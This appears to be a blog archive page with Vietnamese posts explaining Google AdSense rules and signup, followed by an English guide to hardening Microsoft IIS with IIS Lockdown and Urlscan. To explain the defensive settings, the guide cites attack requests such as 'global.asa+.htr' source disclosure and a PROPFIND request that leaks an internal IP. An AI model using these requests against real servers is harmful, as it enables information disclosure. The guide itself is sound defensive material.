Networking - Security

Google Adsense cho người Việt Nam

2007-10-26T01:28:00.000-07:00

Những người tham gia chương trình AdSense (tạm gọi là các publisher) đều phải tuân thủ các chính sách dưới đây. Chúng tôi yêu cầu các bạn nên đọc kỹ các chính sách này một cách cẩn thận và thường xuyên xem lại nó để tránh mắc lỗi. Nếu bạn không tuân thủ các chính sách này, chúng tôi sẽ không hiển thị các quảng cáo trên website của bạn nữa và sẽ vô hiệu hóa/đóng tài khoản AdSense của bạn vĩnh viễn. Trong nhiều trường hợp, chúng tôi thích làm việc với các Publisher để giải quyết các tranh chấp và khiếu nại nhưng CHÚNG TÔI LÀ NGƯỜI CÓ QUYỀN QUYẾT ĐỊNH VÔ HIỆU HÓA BẤT CỨ MỘT TÀI KHOẢN NÀO VÀO BẤT KỲ THỜI GIAN NÀO. Nếu tài khoản của bạn bị vô hiệu hóa, thì có nghĩa bạn SẼ KHÔNG BAO GIỜ ĐƯỢC PHÉP THAM GIA VÀO CHƯƠNG TRÌNH ADSENSE NỮA.

Xin các bạn lưu rằng chúng tôi có thể thay đổi các chính sách của mình vào bất kỳ thời gian nào và chiểu theo các điều khoản tham gia của chúng tôi. Trách nhiệm của các bạn là phải thường xuyên theo dõi những thay đổi trong chính sách tại trang website của chúng tôi và áp dụng ngay những thay đổi đó.Các click và impression không hợp lệ
Các click trên các quảng cáo của Google phải băt nguồn từ sự quan tâm thực sự của người truy cập vào trang website đó. Bất cứ một phương pháp nhân tạo nào nhằm tạo ra nhiều click và impression không hợp lệ trên các quảng cáo của Google AdSense trên website của bạn đều bị nghiêm cấm. Nhưng phương pháp bị cấm này bao gồm nhưng không giới hạn đối với các click, impression lặp đi lặp lại bằng tay, có sử dụng robot, các công cụ tự động click hoặc tự động mở website, các dịch vụ của bên thứ 3 như: click-để-nhận tiền (paid-to-click), lướt-để-nhận tiền (paid-to-surf), tự lướt web (autosurf), và các chương trình trao đổi click (click-exchange), hoặc bất cứ một chương trình/phần mềm lừa đảo nào. Xin lưu ý rằng click trên chính các quảng cáo của bạn vì bất cứ lý do gì đều bị nghiêm cấm. Việc không tuân thủ chính sách này có thể dẫn đến việc vô hiệu hóa/khóa tài khoản của bạn.

Khuyến khích click

Để đảm bảo chất lượng dịch vụ cung cấp cho người truy cập, các publisher và các nhà quảng cáo (advertiser), các publishers không được đề nghị người truy cập click vào các quảng cáo trên trang website/blog của họ hay đáp lại băng cách phương pháp mang tính gian lận/lừa đảo nhằm có nhiều click.

Các Publishers tham gia vào chương trình AdSense:
* Không thể khuyến khích người truy cập click vào các quảng cáo AdSense bằng việc sử dụng các lời mời chào như: "hãy click vào quảng cái (click ads)," "ủng hộ chúng tôi (support us)," "hãy truy cập các đường link này (visit these links)," hay đại loại sử dụng các chiêu bài có nội dung tương tự bằng các ngôn ngữ tương tự
* Không thể hướng người truy cập tới các quảng cáo bằng việc đặt các mũi tên hoặc các máng lới/mẹo quảng cáo khác
* Không thể đặt các hình ảnh dễ làm cho người truy cập lầm tưởng dọc theo các quảng cao của AdSense
* Không thể quảng bá các website của bạn bằng việc đặt các quảng cáo thông qua các hệ thống email không được yêu cầu hoặc các dịch vụ quảng cáo không mong muốn của các website của bên thứ 3
* Không thể bồi thường/trả công cho người truy cập xem các quảng cáo hoặc tìm kiếm thông qua công cụ của bạn, hoặc hứa hẹn trả công cho bên thứ 3 khi làm chuyện đó
* Không thể đặt các biển hiệu dễ gây nhầm lẫn như đã nói ở trên – ví dụ: các quảng cáo có thể đặt tên là “các đường link của nhà tài trợ (Sponsored Links)" nhưng không thể đặt tên là “các trang được yêu thích (Favorite Sites)" hoặc tương tự như thế.

Nội dung website
Google cho phép tiếp cận tới hầu hết các nội dung trong trang tìm kiếm, các publisher trong chương trình AdSense chỉ có thể đặt các quảng cáo trên các trang có tuân thủ các quy định của chương trình AdSense, và các quảng cáo không được phép đặt trên bất cứ một trang nào mà ngôn ngữ của trang đó không được hỗ trợ. Xem danh sách các ngôn ngữ được Google hỗ trợ đến thời điểm này.
Các website hiển thị các quảng cáo AdSense không bao gồm:
* Có nội dụng bạo lực/phân biệt chủng tộc/sắc tộc, hoặc vận động chống lại bất cứ một cá nhân nào, nhóm nào hoặc tổ chức nào
* Có nội dung khiêu dâm, mang tính người lớn hoặc nội dung dành cho người trưởng thành
* Có nội dung hack/crack
* Có nội dụng về thuốc trái phép/lậu và các đồ dùng cá nhân liên quan đến thuốc/dược phẩm
* Có nổi dụng tục tĩu/chửi thề/xúc phạm và nội dung báng bổ thái quá
* Đánh bạc kiếm tiền và các nội dung liên quan đến casino
* Các nội dụng liên quan đến các chương trình mang tính khích lệ người truy cập click vào các quảng cáo hoặc có tính khuyến mại khi ai đó tìm kiếm, lướt web và đọc email ăn tiền
* Có các từ khóa không phù hợp, thái quá và lặp trên nội dung và các mã của trang website
* Có nội dung dối trá/lừa đảo và có tính lôi cuốn hoặc mang tính xây dựng nhằm cải thiện cho website vị thế website của bạn. Ví dụ như: xếp hạng trang website của bạn (PageRank)
* Có nội dung mua bán hoặc quảng bá vũ khí hoặc quân trang (ví dụ: súng cầm tay các loại, dao dành cho chiến đấu, các loại súng sat thương….)
* Có nội dung mua bán hoặc quảng bá beer hoặc rượu mạnh
* Có nội dung mua bán hoặc quảng bá thuốc lá và các sản phẩm liên quan đến thuốc lá (tobacco)
* Có nội dung mua bán hoặc quảng bá toa thuốc
* Có nội dung mua bán hoặc quảng bá các sản phẩm là các tác phẩm mô phỏng/làm giả/sao chép các tác phẩm nghệ thuật của người khác
* Có nội dung mua bán hoặc phân phát luận án và bài văn của sinh viên (essay)
* Có bất cứ một nội dung khác nào bất hợp pháp, quảng bá cho các hoạt động phi pháp, hoặc xâm phạm quyền hợp pháp của người khác.

Các tài liệu được bảo về bản quyền
Các publishers sở hữu các website không được đăng các quảng cáo của AdSense trên các trang được bảo vệ bản quyền trừ khi họ có quyền hợp pháp để đăng trên website đó. Bạn có thể xem chính sách DMCA của chúng tôi để biết thêm thông tin.

Hướng dẫn cho các Webmaster
Các publisher tham gia chương trình AdSense cần phải tuân theo các hướng dẫn về chất lượng được đăng tại trang hướng dẫn cho các webmaster

Các hoạt động của các website và các quảng cáo
Các website hiển thị các quảng cáo AdSense nên đơn giản cho người truy cập hướng tới và không nên có các pop-up thái quá. Mã AdSense không thể được thay đổi hoặc có những cách điều chỉnh nhằm thu hút người truy cập dưới mọi hình thức đều không được chấp nhận bởi Google.
* Các website hiển thị các quảng cáo AdSense không thể chứa các pop-up hoặc các dạng pop-under mà khi mở ra sẽ đụng chạm với các thanh điều hướng của trang website (navigation), thay đổi sở thích của người sử dụng, hoặc đề xướng downloads.
* Bất cứ một mã AdSense nào cũng đều phải được chèn trực tiếp vào các trang mà không được điều chỉnh gì hết. Những người tham gia chương trình AdSense không được phép thay đổi bất kỳ một phẩn nào của mã hoặc thay đổi hoạt động, kết quả đích hoặc cách hiển thị các quảng cáo. Ví dụ: các click lên quảng cáo AdSense không thể hiện thị trên một trang hoàn toàn mới mà phải hiện thị ngay trên trang website của bạn.
* Một website hoặc một bên thứ 3 không thể đặt các quảng cáo của AdSense, các công cụ tìm kiếm, kết quả tìm kiếm, hoặc các phím giới thiệu người khác tham gia trên bất ký phần mềm nào như toolbar (thanh công cụ)..
* Không một mã AdSense nào có thể được tích hợp vào bất ký một phần mềm nào.
* Các trang chứa nội dung mã AdSense không thể được tải bằng bất kỳ phần mềm nào mà phần mềm đó sử dụng pop-up, hướng người truy cập tới các trang website không mong muốn, chỉnh sửa chế độ cài đặt của trình duyệt, hoặc đụng chạm/gây trở ngại cho các thanh điều hướng của trang web. Trách nhiệm của bạn là phải đảm bảo rằng không một mạng lưới quảng cáo/chương trình môi giới nào sử dụng các phương pháp tương tự để thu hút lượng truy cập tới các website của bạn hiện đã có chèn các mã AdSense.
* Việc đặt các banner của các chương trình referral phải được đưa ra mà không có bất kỳ một ràng buộc nào nhằm vô hiệu hóa tài khoản nếu họ không sử dụng chương trình do bạn giới thiệu. Các publisher không được níu kéo/thu hút địa chỉ email từ người truy cập có liên kết tới các phần có chương trình referral của AdSense.
* Các publisher sử dụng quảng cáo trực tuyến để hướng người truy cập tới các trang có hiển thị quangrcaos của AdSense đều phải tuân thủ tinh thần của Google tại trang các hướng dẫn về chất lượng của trang web. Ví dụ: nếu bạn quảng cáo cho các website đangtham gia chương trình AdSense, thì việc quảng cáo đó không được mang tính lừa đảo khách hàng/người truy cập.

Vị trí đặt quảng cáo
AdSense đưa ra hàng loạt định dạng quảng cáo và các sản phẩm quảng cáo. Các publisher được khuyến khích thử nghiệm với hàng loạt các vị trí, miễn là tôn trọng các chính sách sau đây:
* Tối đa có thể đặt 3 đơn vị quảng cáo trên một trang.
* Tối đa 2 hộp tìm kiếm của AdSense có thể đặt trên một trang.
* Tối đa 3 đường link quảng cáo cũng có thể đặt trên một trang.
* Tối đa 2 banner giới thiệu (referral) của mỗi một chương trình giới thiệu có thể đặt trên một trang bên cạnh các đơn vị quảng cáo, link quảng cáo và hộp tìm kiếm như đã đề cập ở trên.
* AdSense cho các trang kết quả tìm kiếm có thể chỉ hiện thị một đường link quảng cáo bên cạnh các kết quả tìm kiếm được Google cung cấp. Không một quảng cáo nào khác có thể được hiển thị trên trang kết quả tìm kiếm của bạn.
* Không đặt hộp tìm kiếm của Google dưới dạng pop-up, pop-under, hoặc trong các email.
* Các thành tố trên một trang không được phép làm mờ đi bất cứ một phần nào của các quảng cáo.
* Không được đặt quảng cáo trên các trang mà không có nội dung thực sự.
* Không một quảng cáo của Google nào được đặt trên các trang được làm ra chỉ với mục đích đơn thuần là quảng cáo, không cần biết nội dung của trang website đó là phù hợp hay không phù hợp.

Các dịch vụ và các quảng cáo mang tính cạnh tranh
Để bảo vệ người truy cập không bị nhầm lẫn, chúng tôi không cho phép các quảng cáo hay các hộp tìm kiếm của Google được đặt trên những trang nào có mà các quảng cáo/dịch vụ của các nhà quảng cáo khác có cùng định dạng, màu sắc như các quảng cáo hoặc hộp tìm kiếm của AdSense. Mặc dù, bạn có thể bán các quảng cáo trực tiếp trên website của mình, nhưng bạn phải có trách nhiệm đảm bảo các quảng cáo đó không thể nhầm lẫn với các quảng cáo của AdSense được.

Một số luật quy định của GA - Những người mới làm nên biết

2007-10-26T01:27:00.000-07:00

Đây là một vài điều mà bạn cần quan tâm khi sử dụng Google Adsense( viết tắt GA) để tránh bị khóa tài khoản.
1.Không được phép mua, bán, trao đổi hay chuyển nhượng tài khoản GA. Khi website bạn đang sử dụng bán lại cho người khác, bạn phải thông báo với Google Adsense Team xin xóa bỏ tài khoản. Người quản lý mới sẽ có quyền đăng ký tài khoản mới trên website đó.

2.Không được click vào GA của chính bạn . Những click ảo (ma) là không được chấp nhận . Nếu click nhiều lần tài khoản của bạn sẽ bị khóa. Đây là sai lầm lớn nhất của các Webmaster mới tham gia quảng cáo trực tuyến (trên website).

3. Không bảo người khác click vào ads của bạn . Có rất nhiều người nghĩ rằng mình không click thì có thể bảo người khác click để kiếm thêm thu nhập Chính điều này là một vi phạm nghiêm trọng . Tôi và bạn đều không hiểu Google làm thế nào để phát hiện ra sự vi phạm này . Tuy nhiên luật GA đã đưa ra thì nên tuân thủ . Nếu bạn tôn trọng đối tác , nhà quảng cáo (Advertisers) thì chắc chắn bạn sẽ làm được thôi. Hãy để mọi việc được tự nhiên, như T và K ấy!

4. Không đặt GA trên một trang popup hay một chương trình được cài đặt. Trang Popup là trang tự động mở bởi các Script mà chúng ta dễ dàng nhận thấy trên một vài Website. Điều này quá dễ để Google nhận ra . Bởi các Script của GA sẽ tự động thông báo cho Robots quản lý. Một vài chương trình cho bạn cài đặt, sử dụng miễn phí , ngược lại bạn phải đồng ý là nó sẽ hiện quảng cáo. các nhà tài trợ . Tất nhiên họ sẽ không được đặt quảng cáo của GA trên đó nếu không họ sẽ bị trả giá.

5. Không được sửa GA code . Bạn chỉ có thể sửa các giá trị hiển thị màu sắc. Và đặt trực tiếp vào Website, không thông qua một Script khác.

6.Không đặt quảng cáo của Google trên third frame (frame thứ ba).

7. Không được đặt phía trên của GA những từ có nội dung khuyến khích click như: Click Me, Click here, Click here to support, hot links, other articles… nếu bị phát hiện thì bạn sẽ bị khóa tài khoản ngay lập tức thậm chí khóa luôn Domain của bạn bởi googlesyndication .Điếu đó có nghĩa là Website của bạn sẽ không bao giờ được tham gia vào chương trình này nữa.Theo luật của GA về labels ads thì bạn chỉ có quyền lựa chọn một trong hai: hoặc Sponsored Links , hoặc Advertisements. Nếu bạn đặt label cho ads bằng ngôn ngữ không hỗ trợ như Vietnamese thì coi chừng. Họ chẳng cần hiểu ý nghĩa của câu bạn nói là gì, họ sẽ thẳng thừng lock tài khoản của bạn và lock luôn domain nơi bạn đang sử dụng đó. Theo tôi thì chúng ta chẳng cần đặt label cho ads làm gì.

8 .Không được ẩn các chữ hiển thị của GA. Bạn có thể chỉnh sửa các giá trị màu sắc tuy nhiên không được làm nó mất đi một phần chữ hiển thị . Ví dụ như bạn chọn color của backround (nền) là :FFFFFF(màu trắng), và color text cũng là: FFFFFF thì hiển nhiên các text của GA sẽ bị biến mất cùng background , hay nói chính xác là visitor không nhìn thấy các từ description.

9. Không được lừa bịp GA. Có quá nhiều người trong chúng ta cố gắng thử tài lừa GA hoặc ít nhất cũng nghĩ rằng mình có thể lừa GA. Tốt nhất là những ý định đó hãy biến đi trong đầu của bạn . Bạn phải luôn quan niệm: ta sẽ tôn thủ đối tác ( nhà quảng cáo chứ không phải GA). Nếu hiểu được điều này bạn sẽ hiểu mọi sự lừa bịp của bạn đều là ngu ngốc cả. GA thông minh hơn ta tưởng . Họ đã bỏ ra nhiều thời gian , nhiều tiền của để nghiên cứu công nghệ không dễ gì lừa họ đâu.

10. Nội dung site của bạn phải:
-Không liên quan đế P0RN, GAMBLING (cờ bạc, cá độ) hay nội dung trái luật pháp, bạo lực, khủng bố, hàng cấm, tôn giáo, hay ảnh hưởng đến cá nhân, nhóm người, tổ chức khác.
-Không được chèn thêm quá nhiều những từ khóa thừa thãi, hoặc không liên quan đến nội dung chính.
-Không tạo nhiều site có nội dung giống nhau hoặc tương tự .
-Không bán hoặc giới thiệu vũ khí,bia, rượu, chất kích thích,thuốc kích thích, kích dục,… thuốc lá
-Không có nội dung về Pay to surf, pay to read email .
-Không đặt Google Adsense trong những trang đòi hỏi đăng nhập.
-Không được mở quảng cáo GA trong cửa sổ mới theo mặc định. Nhiều webmaster muốn mở quảng cáo của GA trên một cửa sổ mới nhưng đây là một sự vi phạm. Mỗi click của người viếng thăm bạn đều có tiền cả, việc bán visitor như vậy cũng đáng mà phải không!.
-Không được đặt sẵn từ khóa trong Searching box.
-Không hiển thị GA trên những trang mp3, video, new groups, các hình ảnh …nếu có liên quan đến bản quyền.
-Không đặt GA trên những trang không có nội dung bằng chữ hiển thị, và không có liên kết nào khác.Ví dụ như trang chỉ có hình ảnh , có mô tả về nó song lại không có một liên kết nào.
-Không có nhiều liên kết gãy, hoặc hơn 100 liên kết khác.

11. Không đặt GA trong email.

12. Không khích lệ người khác click vào GA

13. Trên một trang bạn chỉ có thể sử dụng tối đa: 1 link unit, một button referral cho một sản phẩm (Picasa, FireFox, Adsense , Adword) , hai form tìm kiếm và 3 ad units.

14. Chỉ đặt Search box, ads và referral button trên những trang có nội dung. Không đặt trên các domain parking nếu không được sự cho phép của Google.

15. Không sử dụng Roboots, script tự click, hay các click trao đổi lẫn nhau.

16. Không được cố gắng tạo nhiều Impression.

17. Ngôn ngữ chính của trang web phải được hỗ trợ từ GA. Hiện tại chưa hỗ trợ tiếng Việt. Nếu site của bạn có nội dung tốt, chất lượng cao. Bạn có thể liên hệ với GA để xin sự cho phép.

18. Không sử dụng một chương trình quảng cáo hiển thị theo nội dung khác cùng với GA. Ví dụ Yahoo Publisher Network. Bạn có thể kết hợp giữa Adbrite và GA trên cùng một trang mà không sợ vi phạm.

19. Không tiết lộ các thông tin như CTR, CPM, CPC của bạn. Tôi thấy nhiều bạn chưa nhận rõ được điều này nên còn chụp luôn cả màn hình GA đưa lên forum, hoặc tệ hơn là ngay trên Website của mình. Nếu GA team phát hiện ra thì coi như bạn hết phim.

20. Không sử dụng trên cùng một trang với hai mã số GA trở lên. Bạn có thể sử dụng nhiều mã số (.Không có nghĩa là bạn có nhiều tài khoản mà là có sử dụng mã số của người khác.) trên cùng một trang nhưng bạn phải chắc chắn rằng mỗi lần xuất hiện ads sẽ là một mã số duy nhất. Bạn cũng thường thấy điều này trên các forum sharing revenue (Chia sẻ thu nhập) qua GA.

21. Bạn không được phép có hơn một tài khoản. Nếu GA phát hiện thì họ sẽ xóa tất cả các tài khoản của bạn. Bạn có thể sử dụng một mã số cho nhiều trang Web khác nhau mà không cần xin phép GA. Tất nhiên là site bạn đặt lên phải có nội dung hợp lệ.

22. Bạn không được cố tình phá tài khoản Adsense của người khác. Đây là một luật rất mới, rất sáng suốt của GA. Bạn đừng nên nghĩ rằng bạn có thể phá GA của người khác. Họ sẽ phát hiện ra ngay rằng bạn là ai, sở hữu tài khoản nào và bạn tự làm mất cơ hội của chính mình. Đừng ích kỷ như thế phải không các bạn.
Bạn hãy tuân thủ tất cả các luật trên và nên cập nhật thường xuyên vì có thể có những thay đổi mới. Lần cập nhật gần đây nhất là vào tháng 4 năm 2006.
Trong chúng ta chắc chắn còn nhiều sự thắc mắc về luật của Google Adsense. Rất nhiều người trong chúng ta đã làm, hợp tác với Google Adsense. đã tuân thủ rất tốt luật của Google nhưng vẫn bị khóa tài khoản vô cớ. Nguyên do vì đâu? Đây là một khía cạnh khác, rất quan trọng cần nhiều thảo luận tiếp.

Adsense là gì

2007-10-26T01:23:00.000-07:00

Kiếm tiền cùng Google Adsense

Bạn có thể đã nghe nói nhiều về "Google Adsense" nhưng bạn không biết chính xác đó là gì. Theo tôi, Google Adsense là 1 trong những cách kiếm tiền trên mạng Hot nhất hiện nay. Trong bài viết này mình sẽ cho bạn thấy cái nhìn khái quát về Google Adsense như : Adsense là gì, làm thế nào để tham gia, làm thế nào để kiếm tiền với Google Adsense...

Google Adsense là một chương trình dịch vụ quảng cáo, họ sẽ đặt những mẫu quảng cáo có nội dung liên quan đến nội dung website. Adsense là 1 ứng dụng của quan niệm rông hơn : Contextual Marketing. Contextual Marketing họat động như sau : trên website có nội dung về xe hơi, bạn có thể thấy những mẫu quảng cáo về bánh xe, kiếng chiếu hậu dành cho xe hơi...

Sau khi bạn đăng ký tham gia Google Adsense, công việc của bạn là đặt một đọan code mà Adsense cung cấp cho bạn ở vị trí thích hợp trên trang web của bạn. Google Adsense sẽ tự động cho hiện lên những mẫu quảng cáo có liên quan đền nội dung của webpage, mỗi khi khách tham quan click chuột lên quảng cáo thì bạn sẽ được trả một số tiền (= % của số tiền mà nhà quảng cáo Google Adwords trả cho Google).

Làm thế nào để tham gia Google Adsense?

Đầu tiên bạn phải đăng ký một tài khoản với Google Adsense, bạn click chuột vào địa chỉ sau :

https://www.google.com/adsense/

Bạn click chuột lên nút "Click here to apply" để đăng ký. Chú ý : bạn cần phải có một website tốt trước khi đăng ký tài khoản Google Adsense.

Hiện tại Google Adsense thông báo chưa hỗ trợ tiếng việt, do vậy nếu website của bạn dùng tiếng việt thì 99% Google Adsense sẽ từ chối sự đăng ký tham gia của bạn. Cách tốt nhất là tạo một website tiếng anh, có nội dung tốt rồi mới đăng ký tham gia Adsense.

Có một cách mà bạn có thể dễ dàng được chấp nhận tham gia vào Google Adsense nếu bạn chưa có website. Bạn tiến hành các bước sau :

Bước 1 : Tạo một blog tại blogger.com hay blogspot.com (đây là một dịch vụ miễn phí của Google)
Đây là cách dễ nhất để có một website tham gia Google Adsense. Bạn truy cập www.blogspot.com và tạo một blog với chủ đề nào đó. Tôi sẽ không đi vào chi tiết cách tạo một blog và sử dụng blog như thế nào, để biết thêm thông tin xin mời bạn tham khảo ở phần "Blog, tagging and RSS feed".

Bước 2 : Post một số bài viết về chủ đề mà bạn đã chọn lên blog của bạn.
Hai hoặc 3 ngày sau khi tạo blog, bạn bắt đầu thêm nội dung cho blog của mình, bạn có thể tự mình viết nội dung hay thu thập tài liệu trên internet về chủ đề của mình đã chọn.

Post khoảng 5 hoặc 6 bài viết lên blog của bạn trong khoảng thời gian 5-7 ngày, sau đó bắt đầu đăng ký Google Adsense sử dụng địa chỉ Blog của bạn làm website. Google rất thích Blogger blog, họ nhiều khả năng sẽ chấp nhận cho bạn tham gia vào google adsense nếu blog của bạn có nội dung tốt.

Sau khi đăng ký, bạn chờ khoảng 2-3 ngày để Google xem xét website của bạn, sau đó họ sẽ gửi mail thông báo có chấp nhận cho bạn tham gia chương trình Adsense hay không. Khi đã được chấp nhận thì bạn có thể đặt quảng cáo trên những site khác mà không cần phải đợi Google xem xét, ngoại trừ những website có nội dung mà google adsense không chấp nhận như web sex, web đánh bạc.

IIS Lockdown and Urlscan 1

2007-10-15T23:16:00.000-07:00

The security posture of a web application can be severely undermined if the underlying web server software is vulnerable. The web server software is the most visible and easy to exploit part of a web application. Even if the web application itself is impregnable it can be subject to serious security breaches if the underlying web server platform is insecure.

As one of the more widely deployed web servers, Microsoft's IIS has been a frequent target for attackers over the last few years. It has been beleaguered by vulnerabilities such as source code disclosure attacks like $DATA, information exposures through sample scripts like showcode.asp, and easily exploited buffer overflow vulnerabilities which have fueled Internet-borne worms like Code Red and NIMDA. Such attacks emphasize the importance of web server security and more specifically IIS security. This article discusses two important vendor-provided tools (IIS Lockdown and Urlscan) that target significant security-related configuration problems for IIS versions 6.0, 5.0, and earlier.
IIS Lockdown
The default installation of most web servers do not satisfy the security needs of all administrators. Microsoft's IIS (particularly versions 5.0 and earlier) is no exception. It is packaged with several sample scripts, minimal file-system permissions and a plethora of file handlers. Vendors adopt this strategy to provide administrators the flexibility to tailor the security configuration to the business needs of their organization. The IIS administrator can accomplish this task either by manually configuring the server or by utilizing Microsoft's IIS Lockdown tool.

The tool provides a centralized GUI interface to un-map a specific list of Directories, Methods and Services which could pose a security threat to the web server and hence the resident web applications. In this section we will cover some basic configurations of the IIS Lockdown tool.

The novice user may opt to apply one of the many default templates provided by IIS Lockdown. These include - Small Business Server 2000, Exchange Server, FrontPage Server Extensions, Dynamic Web Server and Static Web Server. Based on the selected template, only select ISAPI DLL mappings are retained. It is however important to note that IIS Lockdown only un-maps these ISAPI extensions, it does not uninstall or un-register the DLLs. Thus, the configuration of the server can be restored to its original format by simply re-running the IIS Lockdown tool against the web server. Note that IIS 6 installs without any extras by default, and will only serve static pages until you configure it otherwise.

The more advanced user may, however, choose to manually configure the security settings to be subsequently applied by IIS Lockdown. These settings include:

1. Disabling unnecessary services

IIS allows for three basic services - the Web Service, the FTP Service and the SMTP Service. IIS Lockdown provides an option to disable and/or remove one or all of these services that are not required. This is a necessary step in securing the server as the existence of un-patched, unused services may well go unnoticed by the administrator and prove to be a playground for potential attackers.

2. Un-mapping unused file handlers

The functionality embodied in the various ISAPI DLLs can be invoked simply by requesting a file with the appropriate extension from IIS. Out of the box, IIS 5.0 and its precursors are provided with a large number of potentially unused DLLs. The extensions mapped by default include .htw, .ida, .idq, .asp, .cer, .cdx, .asa, .htr, .idc, .shtm, .shtml, .stm and .printer. The most commonly used ones are .asp (for server side scripts that help generate dynamic HTML), .asa (global configuration file, generally contains global variables and connect strings to the back end database), .cer (used for https communication) and .cdx (used for https communication). The other extensions such as .printer (provides internet printing capability) are rarely used. The DLLs supporting these extensions should be un-mapped, thus depriving erstwhile hackers with a myriad of different functionality available for exploit via malicious input. IIS Lockdown allows the user to perform this operation with relative ease through the user-friendly GUI.

3. Un-mapping sample scripts and their directories

Sample scripts and applications included in the default IIS installation pose a serious threat to the security posture of the server and its resident applications. This is due to the fact that the primary purpose of sample programs is to exhibit functionality and they do not incorporate the highest level of security. Thus, they do not include input validation routines to prevent the acceptance of malicious input from a potential attacker. This could result in compromises such as disclosure of the source code of critical applications and arbitrary command execution on the IIS server.

This issue is addressed by the IIS Lockdown tool by un-mapping these sample files and the directories in which they are contained. It is important to note that the tool does not delete the files and they can be restored if need be.

4. Modifiying critical file access permissions

IIS Lockdown modifies access permissions to the web root directory (InetPub\wwwroot). This action denies an anonymous IIS user the ability to create or delete files and folders, create or modify data and change file attributes within this directory. The permissions pre- and post-execution of IIS Lockdown are

Pre Installation Post Installation
Everyone Read-Only
NT AUTHORITY\SYSTEM Full Control
BUILTIN\Administrators Full Control

Machine\Web Applications DENIED DwawE
Machine\Web Anonymous Users DENIED DwawE
Everyone Read-Only
NT AUTHORITY\SYSTEM Full Control
BUILTIN\Administrators Full Control

The tool also changes file permissions in the %Windir% directory. These changes prevent the remote execution of system utilities like cmd.exe, tftp.exe and edit.com. Even though an anonymous IIS user cannot access these utilities remotely, the exploitation of a new or existing vulnerability could provide a channel for such access. However, the explicit removal of permissions (by the IIS Lockdown tool) plugs the hole punched by such vulnerabilities.

5. Editing WebDAV access permissions

Web Distributed Authoring and Versioning (WebDAV) is a facility that allows users to remotely collaborate and manage files on a particular IIS web server. This functionality is provided by httpext.dll. The IIS Lockdown tool denies the "Everyone" group permission to execute this DLL. This action decreases the risk of unauthorized users uploading malware to and deleting critical files on the web server.

Although IIS Lockdown tackles most of the security concerns of an IIS administrator, it is not a comprehensive solution for IIS security. The validation of client input, for example, is a major issue not tackled by IIS Lockdown. Maliciously formed URLs can result in serious security hazards. This can be prevented by using Microsoft's Urlscan (now a part of IIS Lockdown), a tool that monitors and filters the content of URLs before they are processed by the server.
Urlscan
Many attacks launched against web servers involve a maliciously crafted URL. The URL may be unusually long, may be encoded by an alternate character set or may include character sequences which are not common to a legitimate request. Such URLs, if processed by the IIS server, may cause severe damage to the server and/or the web site hosted by it. In order to prevent this, Microsoft has developed a tool known as Urlscan.

As the name suggests, Urlscan scans all incoming URL requests. Based on a set of pre-established rules, Urlscan filters out the request and sends only valid data to the server process. It provides an option to store the filtered requests in a log file.

It is important to note that Urlscan is practically obsolete with IIS 6.0. Most of the features provided by Urlscan have either been implemented by default in IIS or can be enabled by simply modifying registry keys. Therefore, this part of the article will apply primarily to versions 5.0 and earlier.

Urlscan consists of two key files: urlscan.dll and urlscan.ini which reside in the %systemroot%\inetsrv\Urlscan directory. The default urlscan.ini is archived here.

Urlscan.dll is an ISAPI filter that is self-registered when installed through IIS Lockdown/Urlscan. It can be manually registered through the Internet Services Manager interface as well. It pre-processes all requests to the IIS server looking for malicious input as defined in the Urlscan.ini configuration file. Rejected requests are logged to the Urlscan.log file located in the same directory as the other Urlscan files.

The Urlscan.ini file holds the key to successful prevention of attacks against the IIS server. The remainder of this article thus focuses on these configurations due to their paramount importance.

The Urlscan.ini file has two main parts: options and implementation. The options part of the file allows the user to enable or disable a particular option while the latter supports the actual configuration of the enabled options.

Options and Implementations:

The options take a value of either "0" or "1". Typically "1" is to enable the option and "0" to disable the option, or "1" is to explicitly allow certain implementations, whereas "0" would deny only the actions specified in the list of implementations and allow all the other default actions. Additionally the semicolon ";" is used to mark the beginning of a comment in the urlscan.ini file.

UseAllowVerbs Some typical verbs for a web-server are "GET", "HEAD", "POST", "DEBUG", "TRACE", "OPTIONS", "PUT", "DELETE". Additionally, there are the WebDAV (Web Document Authoring and Versioning) verbs like "PROPFIND", "MOVE" etc. This option works in conjunction with the implementation section's "AllowVerbs" and "DenyVerbs".

The default value for "UseAllowVerbs" is "1". If the value is set to "1", then only the verbs that are explicitly specified in the "AllowVerbs" section are passed on to the web-server and other verbs are rejected. If the value is set to "0" then all the verbs are passed on to the web-server except for those specified in the "DenyVerbs".

The value should be set to "1". A typical web site needs only "GET", "HEAD" and "POST" requests. However, to find the list of verbs that are typically used by a website, an administrator can review the website logs, in the default location "%system32%\Logfiles\W3SVC1\*.log".

This option could help prevent an attacker from using a verb to attack a remote system by disallowing the verb from being used (either explicitly or implicitly). An example of an attack that could be prevented is the TRACE cross site scripting vulnerability or the PROPFIND vulnerability, whereby an attacker can enumerate the internal IP address of a web server by simply making a "PROPFIND" request with the "Content-Length:" of zero.
UseAllowExtensions Some of the extensions that are mapped on a server are ".asp", ".aspx", ".html", ".exe", ".bat", ".cmd", ".com", ".htr", ".printer". Many of these extensions need only be executed on the server and don't need to be actually sent to the web.

This option works in conjunction with the implementation section's "AllowExtensions" and "DenyExtensions". The default value for "UseAllowExtensions" is "0". This value allows all extensions to be processed by the server except for the extensions listed in the "DenyExtensions" implementation section. If the value is "1", then the "AllowExtensions" implementation section is processed, which will only allow particular file extension requests to be passed to the web server and deny all the other extensions.

The value should be set to "1". A typical web site needs to allow only ".asp", ".aspx", ".cer", ".cdx", ".asa", ".html", ".js", ".htm", ".jpg", ".jpeg", ".gif" extensions. To determine the extensions that should be allowed, an administrator should not only review the logs to determine the files being requested, but also review the directory tree of the website.

This option could help prevent an attacker from abusing extensions to attack a remote system by disallowing those extensions from being processed. An example of an attack that could be prevented would be the ".+htr" attack, where by an attacker could view the contents of the "global.asa" file by modifying the request to "global.asa+.htr".

Similar to a firewall ruleset, it is recommended that one always try and deny everything by default and then explicitly allow specific verbs (UseAllowVerbs - AllowVerbs) and extensions (UseAllowExtensions - AllowExtensions).
NormalizeUrlBeforeScan Some of the requests that could be sent back to the server could be either hex encoded, URL Encoded or UTF encoded. For example, %20 indicates the hexadecimal value for a space character in ASCII. Files on a web server can be requested using alternate representation. The use of "NormalizeUrlBeforeScan" causes the URL to be canonicalized before processing. All the characters would be decoded/normalized before a request is processed. The default value is "1" which would normalize the request before passing it to the server process.

The value should be set to "1", however it is known to break various web applications. The cause of this failure is typically because the application expects to receive encoded characters and tries to process regular characters as encoded characters.

